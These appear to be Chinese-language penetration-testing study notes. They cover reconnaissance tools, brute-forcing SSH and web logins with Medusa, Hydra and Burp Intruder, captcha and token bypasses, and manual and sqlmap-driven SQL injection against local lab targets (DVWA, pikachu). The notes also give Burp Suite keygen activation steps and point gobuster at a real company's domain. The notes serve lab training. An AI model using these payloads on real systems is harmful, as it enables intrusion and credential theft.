工具总结
一、资产收集
1、GOBUSTER
ali Linux默认安装的一款暴力扫描工具。
2、ksubdomain
基于无状态子域名爆破工具
3、oneforall
功能强大的子域收集工具
4、dirsearch
基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口,查看是否存在隐藏目录
5、feroxbuster
目录探测工具,用暴力结合字典在目标目录中搜索未链接的内容
6、masscan
号称是目前是最快的互联网端口扫描器
7、nmap
主要面向服务器端口开放情况探测、端口服务指纹识别、以及漏洞探测
8、nikto
Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描
二、暴力破解
1、medusa
是一款开源的暴力破解工具,支持多种协议的密码破解
2、Hydra
自动化的爆破工具
三、漏洞检测
1、searchsploit
存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作,目前是世界上公开收集漏洞最全的数据库
2、nikto
轻量化的漏洞探测工具
wfuzz
四、提权
1、linpeas
全平台系统提权辅助工具
Kali操作系统的基本配置和使用
一、安装
下载KALI操作系统
https://www.kali.org/get-kali/
二、修改root
sudo passwd
三、基本工具介绍
- 信息搜集工具集:
- 主要面向网路、端口、服务识别、web指纹等一系列目标信息探测类的工具,常用工具有nmap masscan gobuster (zmap OneForAll)
- 漏洞分析工具集:
- 主要面向漏洞的发现、漏洞分析类的工具,漏洞主要面向系统、web、网络设备,常用的工具有 nikto
- web程序渗透测试工具集:
- 主要面向web进行漏洞发现、漏洞挖掘以及漏洞利用,常用的工具有burpsuite、sqlmap等,(AWVS-windows)
- 密码攻击工具集:
- 主要面向在线的或者离线的密码攻击,一般对远程服务进行暴力破解攻击,常用工具有medusa、john等
- 漏洞利用工具集:
- 主要面向渗透操、对目标进行主动或者被动的攻击,从而获得目标设备的权限,或者破坏目标,常用的工具有metasploit、beef
四、升级操作系统
-
配置源
vim /etc/apt/sources.list
-
更新软件列表
apt-get update
-
更新软件
apt-get upgrade
-
更新内核
apt-get dist-upgrade
五、安装SSH服务
1、命令
apt-get install openssh-server
2、修改配置文件
vim /etc/ssh/sshd_config
PermitRootLogin yes
3、配置SSH服务
ervice ssh start #开启ssh服务
/etc/init.d/ssh start #开启ssh服务
/etc/init.d/ssh stop #关闭ssh服务
/etc/init.d/ssh restart #重启ssh服务
update-rc.d ssh enable #自启动服务
4、测试
-
Windows连接
ssh root@IP地址
5、安装相关软件
apt-get install lrzsz #安装ssh文件传输工具
sz 文件名 #可以将文件发送到PC端
apt-get install wordlists # 安装基础字典
6、问题
-
Permission denied, please try again.
-
原因:未开启权限
-
解决方法:
vim /etc/ssh/sshd_config PermitRootLogin yes
-
自动化渗透工具介绍
-
渗透测试“三板斧”
1、信息搜集(全面了解系统)
网络信息(DNS、IP、端口)、服务器信息(操作系统、版本、服务)、中间件(版本)、
WEB系统信息(使用技术、部署系统、数据库)、第三方软件(版本)、
社工记录(个人邮件地址、泄露账号密码、历史网站信息)
2、漏洞利用(占领根据地)
web漏洞发现、系统漏洞发现、漏洞利用、编写自动漏洞利用脚本、放置隐蔽后门(正常软件漏洞)
3、横向扩展(扩大成果,深度挖掘)
内网架构分析、攻陷信息中心和数据中心、突破认证服务器(AD域)、
内网中间人攻击(获取单点信息)、多级多点后门驻留、长期监视、深度隐蔽
DNS信息收集
- 通过
Ping
服务可以探测网站有那些资产 - 资产:设备、硬件、IP地址等
一、Kali常用域名字典
- 安装
apt-get install dirbuster
apt-get install seclists
- 使用
cd /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
二、GOBUSTER
-
灵活快速,适合初级分析
-
这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。
-
探测域名,不参与探测服务识别
1、软件安装
apt-get install gobuster
2、使用方法
Usage:
gobuster dns [flags]
Flags:
-d, --domain string #指定目标域名
-h, --help #打印帮助信息
-r, --resolver string #指定DNS服务器
-c, --showcname #显示CNAME记录
-i, --showips #显示域名IP
--w, # 指定字典,自动替换
--t, # 线程
--o # 导出成为文件
--timeout duration #设置超时时间 (默认 1s)
--wildcard #DNS通配符检测(绕过泛解析)
# 探测时间不要超过1分钟
3、实例
gobuster dns -d douyin.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -i -t 20 -o /tmp/test.txt
三、ksubdomain
- 速度比goubuster更快
- 异步发送接受
- 批量发送,监听接收判断
四、oneforall
- 长期监控,对比差异
1、 ?介绍
OneForAll是一款功能强大的子域收集工具
https://gitee.com/shmilylty/OneForAll#oneforall
2、 ?安装步骤
-
下载
git clone https://gitee.com/shmilylty/OneForAll.git 或 git clone https://github.com/shmilylty/OneForAll.git
-
安装
cd OneForAll/ python3 -m pip install -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/ #kali不需要 # requirements.txt 自动安装Python组件列表 pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ python3 oneforall.py --help # 安装成功
-
更新
git stash # 暂存本地的修改 git fetch --all # 拉取项目更新 git pull # 下载覆盖 git stash pop # 释放本地修改
3、 ✨使用演示
python3 oneforall.py --target example.com run
/tmp/OneForAll/results # 结果路径
python3 oneforall.py --target csdn.net run
┌──(root?yyb)-[/tmp/OneForAll/results]
└─# ls
csdn.net.csv massdns.log oneforall.log result.sqlite3 temp
五、CDN攻防对抗
1、概念
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
CDN的基本原理是广泛采用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,在用户访问网站时,利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上,由缓存服务器直接响应用户请求。
CDN的基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。
2、CDN查找真实IP
①、通过FOFA查询
domain="mozhe.cn"
在通过IP查看是否有其他域名,如果有的话则为CDN
②、通过证书查询
③、查询子域名
- 查看IP地址
④、超级Ping
多个地点Ping服务器,网站测速 - 站长工具 (chinaz.com)
⑤、nslookup
- 有CDN
C:\Users\Yang>nslookup www.mozhe.cn
服务器: XiaoQiang
Address: 192.168.31.1
非权威应答:
名称: pa3f1qto.slt.sched.tdnsv8.com
Addresses: 183.204.68.74
120.221.218.159
183.204.1.157
Aliases: www.mozhe.cn
www.mozhe.cn.cdn.dnsv1.com.cn
- 无CDN
C:\Users\Yang>nslookup www.aa.com
服务器: XiaoQiang
Address: 192.168.31.1
非权威应答:
名称: www.aa.com
Address: 23.74.241.217
⑥、网站邮件订阅查找
-
在网站上给自己的账号发送邮件
-
查看邮件详细信息
- 163为查看信头
- qq邮箱查看原文
通过www.mozhe.cn发送给qq.com在通过网关发送到指定邮箱
-
如果此IP不可以直接进入,则可以修改本地Host文件,指定DNS解析
Windows: C:\Windows\System32\drivers\etc\hosts Linux: /etc/hosts 添加 42.193.4.222 www.mozhe.cn 再次ping,则发现解析为42.193.4.222
-
浏览器访问www.mozhe.cn,则绕过CDN
资产收集工具
一、Goby工具
1、工具介绍
基于资产自动识别的图形化工具,目前有免费版和红队版,支持对服务的识别和漏洞扫描
2、下载地址
https://cn.gobies.org/
3、插件安装
https://npcap.com/dist/npcap-1.60.exe
4、工具使用
端口服务信息收集
一、?Nmap介绍
- 主要面向服务器端口开放情况探测、端口服务指纹识别、以及漏洞探测
二、?安装
apt-get install nmap
三、?使用方法
端口探测:
nmap 192.168.11.0/24 探测本地网络24掩码网段端口开放情况
-sC 进行脚本探测
-sV 对服务进行版本识别
-vv 显示更多的过程日志
-p- 全端口探测 等同于 -p 1-65535 -p 123,222,111-222
-Pn 无需ping通直接探测
-n 不进行IP反解析
--min-rate 2000 进行最小传输带宽配置
作业二:
探测内网IP端口开放情况,并进行分析
nmap -sC -sV 192.168.52.1 -vv --min-rate=2000 -Pn -n
四、?演示
┌──(root?yyb)-[~]
└─# nmap 192.168.184.133 -sC -sV -p 22 -vv -n
Web的指纹分析
一、Web服务器的类型
- 更改网页大小写,确定是Winodws还是Linux
- 如果出现404,则代表使用的是Linux服务器
- 如果可以正常返回,大概率为Winodws
二、Web中间件
- tomcat
- apache
- iis
- nginx
三、Web使用的语言
-
php(apache)
-
jsp(tomcat)
-
aspx(iis - Winodws)
-
js
-
python
-
可以利用index加后缀来判断
四、Web系统的类型
- thinkphp
- dedecms
五、Web目录、隐藏的页面文件
五、Web目录、隐藏的页面
Web漏洞扫描工具
一、手动漏洞扫描工具burpsuite
BurpSuite全套使用教程(超实用超详细介绍)_告白热的博客-CSDN博客_burpsuite教程
- 浏览器访问Web服务的话,如果直接在网卡抓取数据,抓取到的数据都是加密的。
- 所以通过Burpsuite做代理,数据经过Burpsuite转发,可以抓取到明文的数据
- 也可以重发数据包,修改数据,做为测试使用
1、安装Java14
-
检查是否安装了Java环境
java -version
-
将java14 解压缩到C盘目录下
-
将Java的运行程序目录复制下来,配置到环境变量path中 C:\Program Files\jdk-14.0.2\bin
2、注册burpsuite
-
在Burpsuite目录下打开开cmd
-
在命令行下执行
java -jar Loader.jar
-
双击burp.bat 打开软件
-
拷贝生成的序列号到burpsuite主程序注册页面中
-
然后选择手工激活,拷贝第二段注册码粘贴到loader中
-
然后在loader中拷贝第三段序列号,添加到burpsuite主程序中,然后激活
-
激活成功后,在进入软件,则不需要之前的激活步骤了
-
注意
- 关闭截断
3、安装Firefox
- 安装proxy插件(foxyproxy)
- 配置一个代理,然后测试是否可以与burpsuite联动
4、安装证书
- 在代理模式下,访问http://127.0.0.1:8080
- 下载证书
- 在浏览器中添加证书信任
5、测试
Web漏洞靶场环境搭建
一、PHPStudy
1、官方网址
https://www.xp.cn/
2018版本
2、安装
-
下载PHPStudy
-
下载运行库
- Vc09
- Vc11
- Vc14
-
启动
网络都设置为允许访问
-
访问127.0.0.1
3、配置靶机
- 部署DVWA和pikachu
①、配置pikachu
D:\GongJu\phpStudy\PHPTutorial\WWW
建立文件夹防止默认文件
将DVWA和pikachu解压到此文件夹
此时访问127.0.0.1会发现没有内容
配置PHPStudy
初始化pikachu
D:\GongJu\phpStudy\PHPTutorial\WWW\pikachu\inc\config.inc.php
配置数据库密码
root
root
测试:如果查询成功,则证明成功连接
②、配置DVMA
D:\GongJu\phpStudy\PHPTutorial\WWW\DVWA\config
Copy一份config.inc.php,并去掉后缀,编辑Copy后的文件
修改账号密码
配置为Enable
修改配置
allow_url_include = On
重启后才会生效
登录
root
password
4、修改
-
修改端口
Web数据包结构讲解
一、请求方法
1、GET
GET /Pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: 192.168.184.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.184.1/Pikachu/
Cookie: PHPSESSID=n4pbq7kea30043g29bdqm7iar7
Upgrade-Insecure-Requests: 1
2、POST
POST /Pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: 192.168.184.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://192.168.184.1
Connection: close
Referer: http://192.168.184.1/Pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=n4pbq7kea30043g29bdqm7iar7
Upgrade-Insecure-Requests: 1
包含登录信息
username=admin&password=123456&submit=Login
3、区别
参考:https://www.runoob.com/tags/html-httpmethods.html
4、重发操作
二、发送数据
- 请求方法: GET POST PUT
- URL:访问网站的页面
- HOST: 主机网络地址 可能是IP 可能是一个域名
- User-Agent:浏览器特征
- Referer:网页跳转来源
- Cookie: 一般会保存登录状态信息
- Body:在post请求方法下,传输参数的位置
三、接收数据
- 状态码:200 404 301 302 500
- https://www.cnblogs.com/cjwxf/p/6186287.html
- body:返回的html代码
Burpsuite使用
一、模块介绍
1、Dashboard(仪表盘)
- Tasks(会话)
- Log(日志)
- Issue(漏洞提示)
2、Target(目标)
- map(网站地图)
- scope(范围)
- issue(漏洞解释说明)
对目标进行标签化,筛选对应的目标
3、Proxy(代理模块)
- Intercept(拦截功能)
- 可以进行数据的拦截修改
- 然后选择Forward或Drop
- 形成截断----修改----发送的过程
- history(历史记录)
4、Repeater(重发模块)
-
重新修改发送参数-然后重发给服务器
5、Intruder(批量重发-暴力破解)
- postitions 定义需要变化的位置
- payload 定义具体的变化值
- pool 配置从发策略,例如并发数、延时、超时
- options 配置,一般不需要更改
-
增加变化值位置
-
探测方法
-
Sniper:只有一个探测点时使用
-
Battering ram:多个探测点的时候使用(同一个字典不同位置替换相同的字符)
-
Pitchfork:多个字典替换多个位置
-
字典1 aaa bbb ccc 字典2 123 456 789 0543 /* 只会匹配三条 字典1的第一条与字典2的第一条 字典1的第二条与字典2的第二条 字典1的第三条与字典2的第三条 */
-
-
Cluster bomb:字典一的第一个值和字典二的所有值进行匹配(笛卡尔积)
-
-
指定变量值
-
Payloads
-
-
修改速度和并发
-
Resoure pool
-
-
演示
- 成功爆破出密码
-
可以添加关键词选项,就会多一个下拉框,添加方法和添加密码相同
6、Decoder(解码编码模块)
- Decode:解码
- Encode:编码
7、Comparer(页面对比模块)
8、Extender(扩展模块)
弱口令漏洞攻击与验证码绕过
一、基于远程服务的弱口令攻击
1、常见的易攻击服务
- smb
- ssh
- rdp
- ftp
- proxy
- mysql
- sqlserver
- oracle
2、特征
- 远程管理服务
- 具有账号密码验证机制
- 没有其他防护措施
3、防护手段
- 防火墙进行访问限制
- 密码登录策略
- 统一登录管理
4、攻击方法和软件
-
探测当前网段有那些开启的IP
netdiscover -r 192.168.184.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 12 Captured ARP Req/Rep packets, from 4 hosts. Total size: 720 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.184.133 00:0c:29:a0:ad:40 4 240 VMware, Inc. 192.168.184.2 00:50:56:f8:49:8c 2 120 VMware, Inc. #网关 192.168.184.1 00:50:56:c0:00:08 5 300 VMware, Inc. # 物理机 192.168.184.254 00:50:56:e2:fa:aa 1 60 VMware, Inc. # 交换机默认IP
-
探测端口
nmap -sC -sV 192.168.184.133 -vv -n --min-rate=2000 # 发现开启了22端口 Discovered open port 22/tcp on 192.168.184.133 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
-
攻击软件
-
Medusa的特点
- 稳定性好
- 速度控制得当
- 基于线程
- 支持模块少于Hydra(不支持RDP,可扩展)
- WEB-Form支持存在缺陷
-
Hydra的缺点(相对)
- 稳定性差,程序时常崩溃
- 速度控制不好,容易触发服务屏蔽或锁死机制
- 每主机新建进程,每服务新建实例
- 大量目标破解时性能差
-
Medusa的特点
5、Medusa
-
语法
medusa -M smbnt -h 192.168.1.100 -u Eternal -P pass.lst -e ns -F -v 3 -M: 表示你要破解的类型,协议。 -h:目标机器地址。 -u:用户名。 -U:指定账号字典 -p:指定密码 -P:指定密码字典 -e : 尝试空密码。 -F:破解成功后立即停止破解。用于同时扫描多个主机时,停止破解 -v:显示破解过程。 -t:指定线程 通过medusa –d 查看支持的服务类型 -q:显示支持那些探测
-
演示
-
创建密码字典
vim /tmp/passwd.txt
-
对SSH进行破解
┌──(root?yyb)-[/tmp] └─# medusa -M ssh -h 192.168.184.133 -u yikjiang -P /tmp/passwd.txt -F -t 10 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 0 complete) Password: 123123 (1 of 8 complete) # 破解成功 ACCOUNT FOUND: [ssh] Host: 192.168.184.133 User: yikjiang Password: 123123 [SUCCESS] ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: password (2 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: asd (3 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: passwd (4 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: iloveyou (5 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 123456 (6 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 12345678 (7 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 123 (8 of 8 complete)
kali中也默认带了许多字典,路径为
/usr/share/seclists/Passwords
-
6、Hydra(九头蛇)
-
语法
-l 指定用户名 -L 用户名字典 -p 指定密码 -P 密码字典 协议
-
演示
密码高亮,且不显示其他错误密码
二、基于Web登录的弱口令攻击
1、基于表单的暴力破解
-
抓取登录数据包,分析账号密码位置
-
进入暴力破解模块,配置探测位置,字典,然后开始攻击
-
添加标志
-
2、基于客户端的验证码绕过
①、检查发送数据包中的账号、密码等信息发现没有获取数据包
- 如果验证码输入错误没有截取到数据包,证明在本地验证
- 本地验证码输入错误的话,就不向服务器发送数据包
-
ctrl+u
查看网页源代码
②、方法一
使用JS控制插件,禁止JS运行
- Script Blocker Ultimate
③、方法二
直接输入正确的验证码,然后抓到数据包,直接进行暴力破解
由于删除了验证码模块,所以步骤同表单破解
③、方法三
绕过方法二:可以通过burpsuite自动修改全段代码,绕过验证机制
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
//改为else if (1 = 2)让JS失效
//也可以改为lse if (1 == 2)让值为False
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
3、基于服务器验证码的绕过
①、检查发送数据包中的账号、密码、验证码位置
-
抓取images
-
抓包检测
发现每次登录向服务器提交登录信息并获取新的验证码,所以可以把登录信息提取出来单独发送登录信息
②、通过重发登录数据包,观察验证码是否失效
- 将登录信息提取出来以后,验证码输入之前正确的验证码
- 然后进行暴力破解
③、如果不失效,我们可以直接使用最新的验证码,通过暴力破解模块进行批量探测
4、基于token的绕过
-
通过抓包,发现传输数据中有一个token参数,并且每次传输,token值都不一样
-
观察返回页面的代码,发现token值,每次发送登录数据包的时候,都会携带当前页面中的token值
-
通过intruder,选择需要密码和token两个需要探测的的位置
-
Positions 中设置attack type 为 pitchfork(一对一模式)
-
然后进入
options ->Grep extract->add
,找到token的值,然后划上,这时候工具将为我们自动生成正则匹配语句 -
进入payload模块,设置payload1 为密码列表,设置payload2 为 recursive grep模式
因为程序逻辑原因,所以第一个值获取不到对应的token,所以一般情况下将密码列表第一个字符设置为空格
-
然后,进入resource pool,新建一个策略,将maximum concurrent requests 设置为1,意思是并发数为1
因为token的值是唯一的,所以token不可以并发操作
-
然后我们点击攻击按钮,开始破解
5、基于验证码的识别绕过
-
首先部署dedecms系统
后台管理为:/dede/
-
抓包测试一下,验证码是否失效,结果是无法进行绕过
验证码每次刷新界面都会失效,所以不可以采取单独发送请求的方式
此时就无法使用之前的方法破解,只可以自动识别
-
分析验证码的URL,并在PKav工具图形验证码识别模块中进行配置和测试
- 验证码地址可以为复制图片地址或者抓包中提取
-
设置重放配置:
-
验证码固定长度
-
返回数据处理->重试规则,配置字符串为验证码错误的文本特征
-
将返回的数据中匹配如下表达式时重试的框点上,使配置生效
-
-
然后进行攻击
-
Codex方式
SQL注入原理与应用
一、概念
- SQL语句基本查询
select id,level from users where username = 'test'
- SQL注入产生的原因
- 我们将变量传输给应用,应用程序并未做任何校验或者处理,就直接将变量带入到SQL语句中(SQL语句模板)
- 我们构造的SQL注入语句可以让数据库成功处理数据,并返回结果
二、字符型注入
1基于and
语句,校验是否有漏洞
方法一:
kobe' and 1=1 --返回数据类型
kobe' and 1=2 --不返回数据
方法二:
kobe ' --也可以判断,因为如果注入成功的话则会报错
方法三:
kobe' or 1=1# --返回所有数据
kobe' or 1=2# --返回一条数据或者不返回数据
证明存在SQL注入漏洞
三、数字型注入
基于加减运算方式,检验是否有漏洞
输入5返回kevin
输入6返回lucy
输入6-1返回kevin
字符型的判断方法可以用于数字型注入判断特殊情况,在HTTP代码中"+"等同于空格
证明存在SQL注入漏洞
四、读取数据库的数据-获取所有账号密码信息
1、检查是否存在注入点
判断输入的数据是否会对数据库有影响
2、猜测列数
order by x
:按照第x列进行排序
kobe' order by 2# -- 正常返回
kobe' order by 3# --返回错误信息
证明SQL存在两行回显信息
3、使用联合语句判断回显位置
可能存在服务器返回多个数据但是浏览器只显示部分数据的情况,所以进行判断,确定回显位置
确定了回显的位置的时候,就可以查询内置函数,提取信息
kobe' union select 'aaa','bbb'# --查看回显的位置
-- 如果只回显一行的话,可以输入一个不存在的账号
ccc' union select 'aaa','bbb'# --查看回显的位置
注意:UNION内部的SELECT语句必须拥有相同数量的列
- 方法一
-
方法二
4、判断数据库基本信息
kobe' union select version(),222# --查看当前数据库的版本
kobe' union select database(),222# --查看当前数据库的名称
kobe' union select database(),version()#
通过了解数据库的版本,可以进行下一步操作
如果MySQL版本大于5.0.0,那么库中存在一个系统信息表information_schema
,记录了所有的数据表结构信息
5、获取数据库表信息
- 表结构
ccc' union select 'aaa',table_name from information_schema.tables where table_schema = 'pikachu'#
-- ccc为了防止只显示第一行
-- group_concat(table_name)可以将多个输出结果合并为一列
ccc' union select 'Yang',group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'#
- 列结构
aaa' union select 'Yang',group_concat(column_name) from information_schema.columns where table_name='users' and table_schema = 'pikachu'#
-- table_schema = 'pikachu' 使得结果更加准确
6、获取数据信息
ccc' union select username,password from pikachu.users#
ccc' union select group_concat(username),group_concat(password) from pikachu.users#
五、SQL盲注原理与利用方法
- 当数据库信息不回显的时候使用
1、判断是否存在注入点
kobe' and 1=1# --正常返回结果
kobe' and 1=2# --返回空结果
2、测试是否注入成功,并测试是否回显数据
yang' union select database(),'yang'# --提示成功,但是没有回显信息,所以采用盲注的方式
3、盲注测试数据库名称
-
方法一
- 采用抓包的方式使用Burpsuite暴力破解
-
方法二
- 获取数据库长度
kobe' and length(database())>2# --返回正确 kobe' and length(database())>7# --返回正确 kobe' and length(database())<7# --返回错误
得出数据库长度为7
- 猜测单个字符的ASCII码
kobe' and (select ascii(substr(database(),1,1))) > 100# --正确 kobe' and (select ascii(substr(database(),1,1))) = 120# --正确
4、盲注表名猜测
kobe' and length((select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')) > 1# --猜测结果长度
kobe' and substr((select group_concat(table_name) from information_schema.tables where table_shema='pikachu'),1,1) = 'a' -- 单字符模式猜测和ASCII模式都可以
- 盲注列名猜测同理
- 数据猜解使用sqlmap工具自动化漏洞探测与数据挖掘
六、sqlmap使用
1、工具介绍
一款针对SQL注入的自动化漏洞探测和数据挖掘的工具
2、基本命令
sqlmap -h #查看帮助信息,也可使用-hh查看详细信息
-u #指定探测目标的URL
--cookie #指定cookie信息
--data #指定post信息
-r # 指定一个发送数据包
-D # 指定数据库名称
-T # 指定表名
-C # 指定列名
--proxy # 通过代理发送数据
--technique #选择类型和模式
B:布尔类型
--string #指定结果为True时的返回值
--not-string #指定结果为False时的返回值
--threads #增加速度和线程,不可超过10
注意:使用的IP地址不能是127.0.0.1
3、探测目标是否存在注入漏洞
sqlmap -r 111.txt
111.txt为Burpsuite抓取的内容
4、获取数据库名称
sqlmap -r 111.txt --dbs
5、获取数据库表信息
sqlmap -r 111.txt -D pikachu --tables
6、普通注入实验操作
- 检测是否存在漏洞
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent # 添加随机的User-Agent,可以绕过部分防火墙
第二次速度明显加快,因为存在缓存文件,文件位置
/root/.local/share/sqlmap/output/192.168.184.1
- 获取数据库名字
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent --dbs
-----------------------------------------------------------------------------------
[17:19:15] [INFO] fetching database names
available databases [8]:
[*] dedecmsv57utf8sp2
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] pkxss
[*] test
- 获取数据表信息
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu --tables
---------------------------------------------------------------------------------------------
[17:21:56] [INFO] fetching tables for database: 'pikachu'
Database: pikachu
[5 tables]
+----------+
| member |
| httpinfo |
| message |
| users |
| xssblind |
+----------+
- 获取数据表列信息
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu -T users --columns
---------------------------------------------------------------------------------------------
[17:23:19] [INFO] fetching columns for table 'users' in database 'pikachu'
Database: pikachu
Table: users
[4 columns]
+----------+------------------+
| Column | Type |
+----------+------------------+
| level | int(11) |
| id | int(10) unsigned |
| password | varchar(66) |
| username | varchar(30) |
+----------+------------------+
- 获取内容
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu -T users -C username,password --dump
-----------------------------------------------------------------------------------------------------
Database: pikachu
Table: users
[3 entries]
+----------+-------------------------------------------+
| username | password |
+----------+-------------------------------------------+
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| pikachu | 670b14728ad9902aecba32e22fa4f6bd (000000) |
| test | e99a18c428cb38d5f260853678922e03 (abc123) |
+----------+-------------------------------------------+
7、盲注实验操作
- 导出burpshuite抓包内容
- 检测是否存在漏洞
sqlmap -r 111.txt
会发现只找到了基于时间的盲注,没有找到布尔值的盲注。
解决方法:清除缓存
rm -rf /root/.local/share/sqlmap/output/192.168.184.1
sqlmap -r 111.txt --technique=B #只测试布尔类型
发现软件失效
原因:基于英文,中文返回差异值不能正确判断
解决方法:
--string
指定True时的返回值,--not-string
指定False时的返回值
sqlmap -r 111.txt --technique=B --string="Yang"
- 获取数据库名
sqlmap -r 111.txt --technique=B --string="Yang" --dbs
- 直接获取数据信息
sqlmap -r 111.txt --technique=B --string="Yang" -D pikachu --dump --threads=10
- 查看获取的信息
cd /root/.local/share/sqlmap/output/192.168.184.1/dump/pikachu
导出内容
?Broken
一、操作文档
[Vulnhub - Broken-Gallery writeup (mzfr.me)](https://blog.mzfr.me/vulnhub-writeups/2019-08-21-Broken)
二、靶机信息
IP:192.168.184.135
开启的端口:22,80
用户名:bob
login: broken password: broken
三、获取基本信息
1、扫描网段IP
netdiscover -r 192.168.184.0/24
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 1 60 VMware, Inc.
192.168.184.135 00:0c:29:05:05:03 1 60 VMware, Inc. #发现被攻击者IP
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
2、端口扫描
发现开启了22端口和80端口
nmap -sC -sV 192.168.184.135 -n -vv --min-rate=2000
_____________________________________________________________________________
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 39:5e:bf:8a:49:a3:13:fa:0d:34:b8:db:26:57:79:a7 (RSA)
